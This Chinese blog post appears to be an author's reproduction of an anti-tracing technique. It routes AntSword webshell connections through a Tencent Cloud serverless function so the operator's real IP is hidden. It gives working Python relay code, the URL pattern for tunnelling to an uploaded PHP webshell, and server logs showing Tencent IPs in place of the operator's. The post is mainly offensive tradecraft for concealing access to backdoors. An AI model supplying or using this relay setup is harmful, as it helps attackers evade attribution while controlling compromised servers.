0.前言
前几天看了个公众号,突然想起来这个思路确实能够用的上,正好也实践一下,能够利用腾讯云的CDN节点来隐藏连接webshell或者其他后门的真实IP,为此还买了3个月vps。
1.实验目的
文章来源是微信公众号【防溯源】利用腾讯云来隐藏连接Webshell的真实IP,也只是按照博主思路简单复现,学习记录一下。
官方概念
- 【云函数】–官方文档
云函数(Serverless Cloud Function,SCF)是腾讯云为企业和开发者们提供的无服务器执行环境,帮助您在无需购买和管理服务器的情况下运行代码。您只需使用平台支持的语言编写核心代码并设置代码运行的条件,即可在腾讯云基础设施上弹性、安全地运行代码。SCF 是实时文件处理和数据处理等场景下理想的计算平台。
个人理解,云函数能够脱离实体环境运行代码,来实现功能,这其实可以应用到更广泛的很多场景,其他更详细的内容后面再看看学习下和docker一起再写一篇。
2.实验方法
- 设置腾讯云函数服务
创建函数
设置函数代码
创建触发器
- 云函数代码
实际上就是简单的访问url,获取response的过程,所以还可以有更多应用场景
# -*- coding: utf8 -*-
import requests
import json
def geturl(urlstr):
jurlstr = json.dumps(urlstr)
dict_url = json.loads(jurlstr)
return dict_url['u']
def main_handler(event, context):
url = geturl(event['queryString'])
postdata = event['body']
headers=event['headers']
resp=requests.post(url,data=postdata,headers=headers,verify=False)
response={
"isBase64Encoded": False,
"statusCode": 200,
"headers": {'Content-Type': 'text/html;charset='+resp.apparent_encoding},
"body": resp.text
}
return response
- web服务器端
直接安装个宝塔腾讯云专享版,然后上传一个最简单的webshell(php)
蚁剑直接连接url和腾讯云函数url连接都成功
蚁剑连接腾讯云函数url(触发管理的访问路径+"?u="+webshell访问地址)
https://service-xxxxxxxxxxxxx.sh.apigw.tencentcs.com/release/helloworld-XXXXXXX?u=http://xxx/1.php
3.实验结果
查看服务器访问日志,能够看到111.开头的是我本地的IP,是蚁剑直接连接http://xxx/1.php的结果
81.68.139.234/81.68.154.239,经查询都是腾讯云的IP,是蚁剑连接云函数拼接url的结果
4.后续
下一步计划试试阿里云和亚马逊的功能